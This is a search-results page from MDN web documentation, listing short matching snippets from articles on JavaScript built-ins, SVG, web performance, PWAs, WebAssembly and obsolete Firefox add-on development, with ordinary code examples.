description map calls a provided callback function once for each element in an array, in order, and constructs a new array
from the results.
... you shouldn't be using map if: you're not using the array it returns; and/or you're not returning a value
from the callback.
...the argument will automatically be assigned
from each element of the array as map loops through the original array.
...And 2 more matches
EvalError - JavaScript
inherited
from error.
...inherited
from error.
...inherited
from error.
...And 2 more matches
JSON.stringify() - JavaScript
note: you cannot use the replacer function to remove values
from an array.
... note: if you wish the replacer to distinguish an initial object
from a key with an empty string property (since both would give the empty string as key and potentially an object as value), you will have to keep track of the iteration count (if it is beyond the first iteration, it is a genuine empty string key).
... therefore, if compatibility with older javascript engines is required, it is perilous to directly substitute the string returned by json.stringify into a javascript string to be passed to eval or new function or as part of a jsonp url, and the following utility can be used: function js
friendlyjsonstringify (s) { return json.stringify(s).
...And 2 more matches
Object.seal() - JavaScript
the object.seal() method seals an object, preventing new properties
from being added to it and marking all existing properties as non-configurable.
...sealing an object prevents new properties
from being added and marks all existing properties as non-configurable.
...making all properties non-configurable also prevents them
from being converted
from data properties to accessor properties and vice versa, but it does not prevent the values of data properties
from being changed.
...And 2 more matches
RangeError - JavaScript
inherited
from error.
...inherited
from error.
...inherited
from error.
...And 2 more matches
SharedArrayBuffer.prototype.slice() - JavaScript
the sharedarraybuffer.prototype.slice() method returns a new sharedarraybuffer whose contents are a copy of this sharedarraybuffer's bytes
from begin, inclusive, up to end, exclusive.
... if either begin or end is negative, it refers to an index
from the end of the array, as opposed to
from the beginning.
... a negative index can be used, indicating an offset
from the end of the sequence.
...And 2 more matches
String.prototype.substring() - JavaScript
indexend optional the index of the first character to exclude
from the returned substring.
... description substring() extracts characters
from indexstart up to but not including indexend.
... examples using substring() the following example uses substring() to display characters
from the string 'mozilla': let anystring = 'mozilla' // displays 'm' console.log(anystring.substring(0, 1)) console.log(anystring.substring(1, 0)) // displays 'mozill' console.log(anystring.substring(0, 6)) // displays 'lla' console.log(anystring.substring(4)) console.log(anystring.substring(4, 7)) console.log(anystring.substring(7, 4)) // displays 'mozilla' console.log(anystring.substring(0, 7...
...And 2 more matches
TypeError - JavaScript
inherited
from error.
...inherited
from error.
...inherited
from error.
...And 2 more matches
TypedArray.prototype.lastIndexOf() - JavaScript
the typed array is searched backwards, starting at
fromindex.
... syntax typedarray.lastindexof(searchelement[,
fromindex = typedarray.length]) parameters searchelement element to locate in the typed array.
...
fromindex optional.
...And 2 more matches
URIError - JavaScript
inherited
from error.
...inherited
from error.
...inherited
from error.
...And 2 more matches
WebAssembly.instantiate() - JavaScript
if at all possible, you should use the newer webassembly.instantiatestreaming() method instead, which fetches, compiles, and instantiates a module all in one step, directly
from the raw bytecode, so doesn't require conversion to an arraybuffer.
... var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module
from the main thread.
... when the module is received, we create an instance
from it using the webassembly.instantiate() method and invoke an exported function
from inside it.
...And 2 more matches
eval() - JavaScript
warning: executing javascript
from a string is an enormous security risk.
...but, in the code using eval(), the browser cannot assume this since what if your code looked like the following: function date(n){ return ["monday","tuesday","wednesday","thursday","
friday","saturday","sunday"][n%7 || 0]; } function loosejsonparse(obj){ return eval("(" + obj + ")"); } console.log(loosejsonparse( "{a:(4-1), b:function(){}, c:new date()}" )) thus, in the eval() version of the code, the browser is forced to make the expensive lookup call to check to see if there are any local variables called date().
... in a related circumstance, what if you actually wanted your date() function to be able to be called
from the code inside function().
...And 2 more matches
async function - JavaScript
return value a promise which will be resolved with the value returned by the async function, or rejected with an exception thrown
from, or uncaught within, the async function.
...the result of the first promise fulfilment (if it was not rejected) is returned
from the await expression.
...the result of the second promise resolution is returned
from the second await expression.
...And 2 more matches
for await...of - JavaScript
async function* asyncgenerator() { let i = 0; while (i < 3) { yield i++; } } (async function() { for await (let num of asyncgenerator()) { console.log(num); } })(); // 0 // 1 // 2 for a more concrete example of iterating over an async generator using for await...of, consider iterating over data
from an api.
... this example first creates an async iterable for a stream of data, then uses it to find the size of the response
from the api.
... async function* streamasynciterable(stream) { const reader = stream.getreader(); try { while (true) { const { done, value } = await reader.read(); if (done) { return; } yield value; } } finally { reader.releaselock(); } } // fetches data
from url and calculates response size using the async generator.
...And 2 more matches
Transitioning to strict mode - JavaScript
differences
from non-strict to strict syntax errors when adding 'use strict';, the following cases will throw a syntaxerror before the script is executing: octal syntax var n = 023; with statement using delete on a variable name delete myvariable; using eval or arguments as variable or function argument name using one of the newly reserved keywords (in prevision for ecmascript 2015): implements, interf...
...the only legitimate use case would be to reuse a function as in: // example taken
from vanillajs: http://vanilla-js.com/ var s = document.getelementbyid('thing').style; s.opacity = 1; (function() { if ((s.opacity-=.1) < 0) s.display = 'none'; else settimeout(arguments.callee, 40); })(); which can be rewritten as: 'use strict'; var s = document.getelementbyid('thing').style; s.opacity = 1; (function fadeout() { // name the function if((s.opacity-=.1) < 0) s.dis...
... change to eval in strict mode code, eval doesn't create a new variable in the scope
from which it was called.
...And 2 more matches
JavaScript typed arrays - JavaScript
each entry in a javascript typed array is a raw binary value in one of a number of supported formats,
from 8-bit integers to 64-bit floating-point numbers.
...consider this: int16view[0] = 32; console.log('entry 0 in the 32-bit array is now ' + int32view[0]); the output
from this is "entry 0 in the 32-bit array is now 32".
...this lets you, for example, interact with complex data structures
from webgl, data files, or c structures you need to use while using js-ctypes.
...And 2 more matches
JavaScript
looking to become a
front-end web developer?
... asynchronous javascript discusses asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources
from a server.
... intermediate understanding client-side javascript
frameworks javascript
frameworks are an essential part of modern
front-end web development, providing developers with proven tools for building scalable, interactive web applications.
...And 2 more matches
Optimizing startup performance - Web Performance
this article offers tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app
from another platform to the web.
...this will prevent the app, browser, and/or device
from appearing to have locked up.
... if you're starting your project
from scratch, it's usually pretty easy to just write everything the "right way," making appropriate bits of the code asynchronous.
...And 2 more matches
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
changes
from baseline performance as part of continuous integration should fail a push.
... real user monitoring real user monitoring or rum measures the performance of a page
from real users' machines.
...this is particularly important for large sites or complex apps, where the functionality or content is constantly changing, and where the population accessing the application may differ greatly in life experiences
from those creating it.
...And 2 more matches
How to make PWAs installable - Progressive web apps (PWAs)
these technologies allow the app to be launched directly
from the device's home screen, rather than the user having to open the browser and then navigate to the site by using a bookmark or typing the url.
... requirements to make the web site installable, it needs the following things in place: a web manifest, with the correct fields filled in the web site to be served
from a secure (https) domain an icon to represent the app on the device a service worker registered, to allow the app to work offline (this is required only by chrome for android currently) currently, only the chromium-based browsers such as chrome, edge, and samsung internet require the service worker.
... the content of the file looks like this: { "name": "js13kgames progressive web app", "short_name": "js13kpwa", "description": "progressive web app that lists games submitted to the a-
frame category in the js13kgames 2017 competition.", "icons": [ { "src": "icons/icon-32.png", "sizes": "32x32", "type": "image/png" }, // ...
...And 2 more matches
Progressive loading - Progressive web apps (PWAs)
a bundle.js file can be many megabytes, and a single style.css bundle can contain everything
from basic css structure definitions to all the possible styles of every version of the site: mobile, tablet, desktop, print only, etc.
...we could go even further and move everything
from style.css to the <style> tag in the <head> of index.html — this would improve performance even more, but for the readability of the example we will skip that approach too.
... the app.js file processes the data-src attributes like so: let imagestoload = document.queryselectorall('img[data-src]'); const loadimages = (image) => { image.setattribute('src', image.getattribute('data-src')); image.onload = () => { image.removeattribute('data-src'); }; }; the imagestoload variable contains references to all the images, while the loadimages function moves the path
from data-src to src.
...And 2 more matches
end - SVG: Scalable Vector Graphics
<syncbase-value> this value defines a syncbase and an optional offset
from that syncbase.
... examples offset example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" end="8s" fill="
freeze" /> </rect> <rect x="10" y="60" height="15" width="0"> <animate attributetype="xml" attributename="width" to="75" begin="0s" end="6s" fill="
freeze" /> </rect> <rect x="10" y="85" height="15" width="0"> <animate attributetype="xml" attributename="width" to="50" begin="0s" end="4s" fill="
freeze...
... <line x1="10" y1="105" x2="110" y2="105" stroke="grey" stroke-width=".5" /> </svg> event example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangle --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width"
from="0" to="100" begin="0s" end="endbutton.click" dur="8s" repeatcount="indefinite" fill="
freeze" /> </rect> <!-- trigger --> <rect id="endbutton" style="cursor:pointer;" x="19.5" y="62.5" rx="5" height="25" width="80" fill="#efefef" stroke="black" stroke-width="1" /> <text x="60" y="80" text-anchor="middle" style="po...
...And 2 more matches
<svg> - SVG: Scalable Vector Graphics
it is used as the outermost element of svg documents, but it can also be used to embed an svg
fragment inside an svg or html document.
... value type: <string> ; default value: none; animatable: no contentscripttype deprecated since svg 2 the default scripting language used by the svg
fragment.
... value type: <string> ; default value: application/ecmascript; animatable: no contentstyletype deprecated since svg 2 the default style sheet language used by the svg
fragment.
...And 2 more matches
Example - SVG: Scalable Vector Graphics
first, each mote tries to move towards the mouse cursor, and second each mote tries to move away
from the average mote position.
... first, each mote tries to move towards the cursor, and second each mote tries to move away
from the average mote position. combined, we get this very natural looking behavior.
... </p> <div> (c) 2006 <a id='emailme' href='#'>nick johnson</a> <script type='text/javascript'> <![cdata[ // foil spam bots var email = '@riovia.net'; email ='nick' + email; document.getelementbyid('emailme').href = 'mailto:'+email; ]]> </script> this software is
free for you to use in any way whatsoever, and comes with no warranty at all.
...And 2 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
you can insert as many stop colors as you like to create a blend that's as beautiful or hideous as you need, but the offsets should always increase
from 0% (or 0 if you want to drop the % sign) to 100% (or 1).
... <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> to use a gradient, we have to reference it
from an object's fill or stroke attributes.
...when it is used, attributes and stops
from one gradient can be included on another.
...And 2 more matches
Positions - SVG: Scalable Vector Graphics
positions are then measured in pixels
from the top left corner, with the positive x direction being to the right, and the positive y direction being to the bottom.
...however, this is the same way elements in html are positioned (by default, ltr documents are considered not the rtl documents which position x
from right-to-left).
... example: the element <rect x="0" y="0" width="100" height="100" /> defines a rectangle
from the upper left corner, that spans
from there 100px to the right and to the bottom.
...And 2 more matches
Transport Layer Security - Web security
encryption data is encrypted while being transmitted between the user agent and the server, in order to prevent it
from being read and interpreted by unauthorized parties.
...for instance, the names used in openssl and gnutls differ
from those in the tls standards.
...though the performance gains
from 0-rtt can be significant, they come with some risk of replay attack, so some care is needed before enabling this feature.
...And 2 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
12 setting parameters xslt while running transformations using precoded .xsl and .xml files is quite useful, configuring the .xsl file
from javascript may be even more useful.
...sometimes, however, it is useful to be able to force the processor to use a template rule
from the (lower precedence) imported stylesheet rather than an equivalent rule in the main stylesheet.
... 23 <xsl:attribute> attribute, element, reference, xslt the <xsl:attribute> element creates an attribute in the output document, using any values that can be accessed
from the stylesheet.
...And 2 more matches
Exported WebAssembly functions - WebAssembly
by accessing a function exported
from a wasm module instance via instance.exports.
...
from a javascript point of view, it's as if every wasm function is a javascript function too — but they are encapsulated by the exported wasm function object instance and there are only limited ways to access them.
...table({ element: "anyfunc", initial: 2 }); webassembly.instantiatestreaming(fetch('table.wasm')) .then(obj => { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 othertable.set(0,tbl.get(0)); othertable.set(1,tbl.get(1)); console.log(othertable.get(0)()); console.log(othertable.get(1)()); }); here we create a table (othertable)
from javascript using the webassembly.table constructor, then we load table.wasm into our page using the webassembly.instantiatestreaming() method.
...And 2 more matches
port - Archive of obsolete content
port methods emit() the port.emit() function sends a message
from one side to the other.
...
from the content script to the main add-on code: // content-script.js var mymessagepayload = "some data"; self.port.emit("mymessage", mymessagepayload);
from the main add-on code to the content script: // main.js var mymessagepayload = "some data"; worker.port.emit("mymessage", mymessagepayload); on() the port.on() function registers a function as a listener for a particular message sent
from the other side using port.emit().
... in a content script, to listen for "mymessage" sent
from the main add-on code: // content-script.js self.port.on("mymessage", function handlemymessage(mymessagepayload) { // handle the message }); in the main add-on code, to listen for "mymessage" sent
from a a content script: // main.js worker.port.on("mymessage", function handlemymessage(mymessagepayload) { // handle the message }); once() often you'll want to receive a message just once, then stop listening.
... due to bug 816272 the page-mod's removelistener() function does not prevent the listener
from receiving messages that are already queued.
Module structure of the SDK - Archive of obsolete content
commonjs is the underlying in
frastructure for both the sdk and the add-ons you build using the sdk.
...for example, to load
from main: // main.js code var geo = require("./dependencies/geolocation");
freezing the sdk
freezes the exports object returned by require.
... so a if you import a module using require, you can't change the properties of the object returned: self = require("sdk/self"); // attempting to define a new property // will fail, or throw an exception in strict mode self.foo = 1; // attempting to modify an existing property // will fail, or throw an exception in strict mode self.data = "foo"; using modules
from outside the add-on sdk you can use commonjs modules outside the add-on sdk, in any environment where you can use components.utils.import.
...you can import sdk modules in just the same way you could
from an sdk add-on: // import the sdk's base64 module var base64 = require("sdk/base64"); base64.encode("hello"); // "agvsbg8=" you can import other commonjs modules, too, as long as you know the path to them: // import my module var mymodule = require("resource://path/to/my/module.js"); in this case, though, you might be better off creating your own loader, so you can specify the paths property yourself.
Porting the Library Detector - Archive of obsolete content
the library detector tells you which javascript
frameworks the current web page is using.
...ist.foreach(function(library) { if (worker.tab.libraries.indexof(library) == -1) { worker.tab.libraries.push(library); } }); if (worker.tab == tabs.activetab) { updatewidgetview(worker.tab); } }); } }); the content script is executed once for every window.onload event, so it will run multiple times when a single page containing multiple i
frames is loaded.
... so main.js needs to filter out any duplicates, in case a page contains more than one i
frame, and those i
frames use the same library.
... elements = document.getelementsbytagname('img'); for (var i = 0; i < elements.length; i++) { elements[i].addeventlistener('mouseover', setlibraryinfo, false); } one in the panel, which updates the panel's content with the library information: self.on("message", function(libraryinfo) { window.document.body.innerhtml = libraryinfo; }); finally main.js relays the library information
from the widget to the panel: widget.port.on('setlibraryinfo', function(libraryinfo) { widget.panel.postmessage(libraryinfo); }); ...
SDK API Lifecycle - Archive of obsolete content
it has two main components: a stability index that defines how stable each module is a deprecation process that defines when and how stable sdk apis can be changed or removed
from future versions of the sdk while giving developers enough time to update their code.
... stability index the stability index is adopted
from node.js.
...don’t start using it, and plan to migrate away
from this module to its replacement.
...in preparation for this date the sdk team will decide whether to go ahead with removal: this will depend on how many developers have successfully migrated
from the deprecated module, and on how urgently the module needs to be removed.
timers - Archive of obsolete content
example var { settimeout } = require("sdk/timers"); settimeout(function() { // do something in 0 ms }, 0) cleartimeout(id) given an id returned
from settimeout(), prevents the callback with the id
from being called (if it hasn't yet been called).
... parameters id : integer an id returned
from settimeout().
... example var { setinterval } = require("sdk/timers"); setinterval(function() { // do something every 1 sec }, 1000) clearinterval(id) given an id returned
from setinterval(), prevents the callback with the id
from being called again.
... parameters id : integer an id returned
from setinterval().
console/traceback - Archive of obsolete content
the stack is represented as an array in which the most recent stack
frame is the last element; each element thus represents a stack
frame and has the following keys: filename the name of the file that the stack
frame takes place in.
... lineno the line number is being executed at the stack
frame.
... funcname the name of the function being executed at the stack
frame, or null if the function is anonymous or the stack
frame is being executed in a top-level script or module.
... globals functions
fromexception(exception) attempts to extract the traceback
from exception.
platform/xpcom - Archive of obsolete content
you can just use require("chrome") to get direct access to the components object, and access xpcom objects
from there.
...users of xpcom can use this value to retrieve the factory
from components.classes: var factory = components.classes['@me.org/request'] var component = factory.createinstance(ci.nsirequest); this parameter is formally optional, but if you don't specify it, users won't be able to retrieve your factory using a contract id.
...if you don't supply it, the factory constructor will generate a
fresh id.
... if the object implements an interface that's already defined in xpcom, you can pass that in here: var about = aboutfactory.createinstance(null, ci.nsiaboutmodule); // you can now access the nsiaboutmodule interface of the 'about' object if you will be getting the wrappedjsobject property
from the returned object to access its javascript implementation, pass ci.nsisupports here: var custom = factory.createinstance(null, ci.nsisupports).wrappedjsobject; // you can now access the interface defined for the 'custom' object returns object : the component created by the factory.
ui/button/toggle - Archive of obsolete content
initially the buttons in all tabs and windows will display the label value inherited
from the global state: browser: label = "my default" w1 t1 > displays "my default" t2 > displays "my default" w2 t3 > displays "my default" t4 > displays "my default" if you then set a label specific to t3 as "my t3 label", then set a label state specific to w2 as "my w2 label", then the button displayed when t3 is the active...
...if a property value for a node in the tree has not been set explicitly using state(), then it inherits its value
from the next level up.
... so if you have one window containing two tabs, and have set the button's label only for tab a, then tab b will inherit label's value
from the window, and changing the value for the window will implicitly change the value for tab b.
...after that, the property will inherit its value
from the less-specific state as before: var { togglebutton } = require('sdk/ui/button/toggle'); var tabs = require("sdk/tabs"); var button = togglebutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: onnewtab }); function onnewtab(tab) { // modify the label only for the new tab button.state(tab, { "label" : "tab-specific label" }); // modify the label for the window button.state("window", { "label" : "window-specific label" }); // access the global label -> "default label" console.log(button.label); // access the window's label -> "window-specific label" ...
Implementing the widget - Archive of obsolete content
the widget api is deprecated
from firefox 29 onwards.
... the widget's icons you can copy the widget's icons
from here: or, if you're feeling creative, you can make your own icons.
...it creates the widget and responds to messages
from the widget's content script by toggling its activation state.
... now
from the annotator directory type cfx run.
Storing annotations - Archive of obsolete content
the widget api is deprecated
from firefox 29 onwards.
...opagation(); event.preventdefault(); self.postmessage(storedannotation.url); }); annotationhtml.find('.selection-text') .text(storedannotation.anchortext); annotationhtml.find('.annotation-text') .text(storedannotation.annotationtext); annotationlist.append(annotationhtml); }); }); it builds the dom for the panel
from the array of annotations it is given.
...a real add-on should give the user a chance to choose which data to keep, and prevent the user
from adding any more data until the add-on is back under quota.) respecting private browsing since annotations record the user's browsing history we should avoid recording annotations in private windows.
...by omitting the "private-browsing" key
from the annotator's "package.json" file, the annotator opts out of private browsing altogether.
Getting Started (jpm) - Archive of obsolete content
you can use jpm
from firefox 38 onwards.
... to build an xpi, just execute the command jpm xpi
from the add-on's directory: jpm xpi you should see a message like: jpm info successfully created xpi at /path/to/my-addon/@my-addon-0.0.1.xpi to test that this worked, try installing the xpi file in your own firefox installation.
... you can do this by pressing the ctrl+o key combination (cmd+o on mac)
from within firefox, or selecting the "open" item
from firefox's "file" menu.
...this setting applies to any add-on, so take extra care to not accidently install a malicious one
from elsewhere.
Modifying the Page Hosted by a Tab - Archive of obsolete content
both scripts will be executed in the same context, so everything publicly defined in first.js will be accessible
from second.js.
... to send a message
from one side to the other, sender calls port.emit() and receiver listens using port.on().
... let's rewrite the example above to pass a message
from the add-on to the content script.
... the content script now needs to look like this: // "self" is a global object in content scripts // listen for a "drawborder" self.port.on("drawborder", function(color) { document.body.style.border = "5px solid " + color; }); in the add-on script, we'll send the content script a "drawborder" message using the object returned
from attach(): var self = require("sdk/self"); var tabs = require("sdk/tabs"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { var worker = tabs.activetab.attach({ contentscriptfile: self.data.url("my-script.js") }); worker.port.emit("drawborder", "red"); } }); the drawborder message isn't a built-in message, it's one that this add-on define...
Unit Testing - Archive of obsolete content
if you're migrating test code
from cfx to jpm, see the guide to migrating
from cfx, in particular the section on loading modules
from test code.
... the sdk provides a
framework to help create and run unit tests for your code.
...so we'll create a base64 module to expose these functions
from the platform (see creating reusable modules).
... at this point your add-on ought to look like this: /base64 /data icon-16.png package.json readme.md index.js base64.js /test test-base64.js now execute jpm --verbose test
from the add-on's root directory.
Dialogs and Prompts - Archive of obsolete content
programmatic button access if you want to access the accept ("ok") and cancel buttons
from script, use this: // disable the ok and cancel btns document.documentelement.getbutton("accept").disabled = true; document.documentelement.getbutton("cancel").disabled = true; links dialog.xml — xbl bindings for <dialog> and <dialogheader> elements.
... passing parameter to a dialog and getting return values
from it.
...// notice if user clicks cancel, window.arguments[0].out remains null // because this function is never called window.arguments[0].out = {name:document.getelementbyid("name").value, description:document.getelementbyid("description").value, enabled:document.getelementbyid("enabled").checked}; return true; } see also passing parameter to a dialog and getting return values
from it.
...prompts differ
from dialogs in that they don't require custom xul.
Common Pitfalls - Archive of obsolete content
the first couple of items deal with loading content
from a uri.
...this will shield you
from loading <tt>javascript:</tt> or <tt>chrome:</tt> uris when you shouldn't.
... how to do security checks for uri loads before loading a uri, one of two security checks needs to be performed: if the uri is a string that will be loaded via passing the string to nsiwebnavigation::loaduri, the one must call checkloaduristrwithprincipal and pass the principal that the uri originates
from as the first argument and the uri string as the second argument.
... in all other cases, one should call checkloaduriwithprincipal and pass the principal that the uri originates
from as the first argument and an nsiuri object representing the uri as the second argument.
Handling Preferences - Archive of obsolete content
to open the preferences window in firefox, select the following
from the main menu: on windows, tools > options on mac, firefox > preferences on linux, edit > preferences note: keep in mind the usage of the terms "preferences" and "options" in different platforms.
... firefox loads user preferences
from a number of sources.
...in order to have this button enabled in your extension you need to add the following line to install.rdf: <em:optionsurl>chrome://xulschoolhello/content/preferenceswindow.xul</em:optionsurl> if you want to open this window
from a different place in the ui, such as a menu item or a button in a toolbar, you need to take into account that the opening behavior of a preferences window is different depending on the operating system.
...",dialog=no" : ",modal"); this._preferenceswindow = window.opendialog( "chrome://xulschoolhello/content/preferenceswindow.xul", "xulschoolhello-preferences-window", features); } this._preferenceswindow.focus(); }, this code is based on the code that opens preference windows
from the add-ons manager.
Mozilla Documentation Roadmap - Archive of obsolete content
there's a great deal of
free online documentation available on xul and extension development, but finding it and turning it into useful information can be a daunting task.
... mozilla blogs several mozilla community members maintain blogs that are updated
frequently, often including information on api changes, bug fixes, useful tools and future release plans.
...feeds are added
frequently, so the information available through it will only grow with time.
...but this also means that finding exactly what you need can be time-consuming, and often
fruitless.
Firefox addons developer guide - Archive of obsolete content
so there may be still some reference to the xuldev website (we want to host source code on mdc, not on xuldev), and to japanese things (like some specific locales, which have been translated to
french since non-latin characters are not well supported).
... these should use the previous, next, and prevnext templates to add quick routes to get
from chapter to chapter.
... the stuff about installing the dom inspector (https://developer.mozilla.org/en/firefox_addons_developer_guide/let%27s_build_a_firefox_extension#install_the_dom_inspector) is not accurate for firefox 3 or later, since it's no longer included in the firefox installer and must be downloaded
from amo.
... this is available
from the style drop-down menu in the editor.
Promises - Archive of obsolete content
let config = json.parse( yield os.file.read(configpath, { encoding: "utf-8" })); let files = []; // get the directory contents
from a list of directories.
... yield db.execute( "select owners.group as group, nodes.value as task \
from nodes \ inner join owners on owner.id = nodes.owner \ where nodes.key = 'task';", { onrow: row => { runtask(row.getresultbyname("task"), row.getresultbyname("group")); } }); // and quickly grab a single row value.
... let [row] = yield db.execute( "select value
from nodes where key = 'timestamp' \ order by value desc limit 1"); latesttimestamp = row.getresultbyindex(0); } finally { // make sure to close the database when finished.
... // failure to do this will prevent firefox
from shutting down // cleanly.
Using Dependent Libraries In Extension Components - Archive of obsolete content
srcdir = @srcdir@ topsrcdir = @top_srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk module = bsmedberg library_name = bsmedberg_stub is_component = 1 force_shared_lib = 1 requires = \ xpcom \ string \ $(null) cppsrcs = bdsstubloader.cpp extra_dso_ldopts += \ $(dist)/lib/$(lib_prefix)xpcomglue_s.$(lib_suffix) \ $(xpcom_
frozen_ldopts) \ $(nspr_libs) \ $(null) include $(topsrcdir)/config/rules.mk defines += -dmoz_dll_prefix=\"$(dll_prefix)\" extensions/stub/bdsstubloader.cpp // copyright (c) 2005 benjamin smedberg <benjamin@smedbergs.us> #include "nscore.h" #include "nsmodule.h" #include "prlink.h" #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" static char const *const kdepende...
...2008 */ //include the stuff
from mozilla glue that we need #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" //include things
from the mach-o libraries that we need for loading the libraries.
... nsgetmoduleproc getmoduleproc = (nsgetmoduleproc)lookupsymbol(componentlib, "_nsgetmodule"); if (!getmoduleproc) return ns_error_failure; return getmoduleproc(acompmgr, alocation, aresult); } // convienience method grabbed
from // http://mxr.mozilla.org/mozilla-central/source/xpcom/glue/standalone/nsgluelinkingosx.cpp .
...as written it uses only
frozen apis.
MozOrientation - Archive of obsolete content
the y axis represents the amount of
front-to-back tilt.
... the value is 0 if the device is level along the y axis, and approaches 1 as you tilt the device backward (away
from you) and -1 as you tilt the device
frontward (toward you).
...in
free fall (weightless or falling as a result of a drop), the value remains -1.
... in firefox versions 3.6, 4, and 5 gecko utilized mozorientation which was also built to support orientation data but with different apis
from the specified deviceorientationevent.
Creating a Web based tone generator - Archive of obsolete content
<!doctype html> <html> <head> <title>javascript audio write example</title> </head> <body> <input type="text" size="4" id="
freq" value="440"><label for="hz">hz</label> <button onclick="start()">play</button> <button onclick="stop()">stop</button> <script type="text/javascript"> function audiodatadestination(samplerate, readfn) { // initialize the audio output.
... var currentposition = audio.mozcurrentsampleoffset(); var available = currentposition + prebuffersize - currentwriteposition; if(available > 0) { // request some sound data
from the callback function.
... var
frequency = 0, currentsoundsample; var samplerate = 44100; function requestsounddata(sounddata) { if (!
frequency) { return; // no sound selected } var k = 2* math.pi *
frequency / samplerate; for (var i=0, size=sounddata.length; i<size; i++) { sounddata[i] = math.sin(k * currentsoundsample++); } } var audiodestina...
...tion = new audiodatadestination(samplerate, requestsounddata); function start() { currentsoundsample = 0;
frequency = parsefloat(document.getelementbyid("
freq").value); } function stop() {
frequency = 0; } </script> </body> </html> ...
Using XML Data Islands in Mozilla - Archive of obsolete content
xml data islands are no longer supported
from internet explorer 10 onwards.
... <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> the xml source text can then be retrieved like this: var ordersource = document.getelementbyid("purchase-order").textcontent; the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parse
fromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie.
...xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> <script> function rundemo() { var ordersource = document.getelementbyid("purchase-order").textcontent; var parser = new domparser(); var doc = parser.parse
fromstring(ordersource, "application/xml"); var lineitems = doc.getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "lineitem"); var firstprice = lineitems[0].getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "price")[0].textcontent; document.body.textcontent = "the purchase order contains " + lineitems.length + " line items.
... the price of the first line item is " + firstprice + "."; } </script> </head> <body onload="rundemo()";> demo did not run </body> </html> the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parse
fromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie.
Protecting Mozilla's registry.dat file - Archive of obsolete content
protecting mozilla's registry.dat file
from windows and internet explorer the easyest way to put into place the registry.dat file for a user would theoretically be to put it into the user's profile directory on the server.
... however, this issue is problematic, because: when the users logs in for the first time, windows 2000 apparently doesn't load the profile
from the server...
... in other windows versions, internet explorer (which is hard to kick off completely) likes to install "personnalized settings" when the user logs in for the first time, and this seems to have the interesting "side-effect" of wiping any non-microsoft subfolders
from %userprofile%\application data, including mozilla's .
... in order to prevent this, it's preferable to have mozilla's registry.dat file copied over
from the server using the logon script.
Building TransforMiiX standalone - Archive of obsolete content
you need to get the source
from cvs.
...this will pull the necessary subtree with mozilla/client.mk mozilla/build/unix/modules.mk mozilla/build mozilla/config mozilla/expat mozilla/extensions/transformiix mozilla/include mozilla/allmakefiles.sh mozilla/client.mk mozilla/aclocal.m4 mozilla/configure mozilla/configure.in mozilla/makefile.in plus nspr and xpcom
from the cvs repository.
... building
from a full mozilla tree is not supported.
... it is recommended to add ac_add_options --disable-gtktest ac_add_options --without-jpeg ac_add_options --without-zlib ac_add_options --without-png ac_add_options --without-x to your .mozconfig, too, as it stops configure
from testing unneeded libs.
Structure of an installable bundle - Archive of obsolete content
basic structure of a bundle a bundle may include any of the following files: path
from the root of the bundle description version information /install.rdf extension/theme install manifest /application.ini application launch manifest /bootstrap.js the bootstrap script for extensions not requiring a restart (those with <em:bootstrap>true</em:bootstrap> in their install.rdf).
... (>=2.0) /chrome.manifest chrome registration manifest (>=1.8) /components/* xpcom components (*.js, *.dll), and interface files
from *.xpt (>=1.7) /defaults/preferences/*.js default preferences (>=1.7) /plugins/* npapi plugins (>=1.8) /chrome/icons/default/* window icons (>=1.8) /icon.png extension icon, for display in the add-ons manager, 32px × 32px (>=1.9.2) /icon64.png extension icon, for display in the add-ons manager, 64px × 64px (>=2.0) /options.xul extension options, for display in the add-ons manager (>=7...
...the format of the platform string is: {os_target}_{target_xpcom_abi} all of the files which are loaded
from the main extension directory are loaded
from the subdirectory /platform/{platform string} if it exists.
...files: /platform/linux_x86-gcc3/plugins/libmyplugin.so /platform/winnt_x86-msvc/plugins/myplugin.dll /platform/darwin_ppc-gcc3/plugins/libmyplugin.dylib because xpt files are not platform-specific, any associated xpt files would go in the generic components directory: /components/myplugin.xpt if an extension has non-binary platform-specific code (such as code which uses the windows registry
from script), it can also use just the operating system identifier as a platform-subdirectory: /platform/winnt/components/registerdoctype.js when platform-specific jar files are used, each platform directory should have its own chrome.manifest file: chrome.manifest chrome/mytheme-base.jar platform/darwin/chrome.manifest platform/darwin/chrome/mytheme-mac.jar platform/winnt/chrome.manifest platfo...
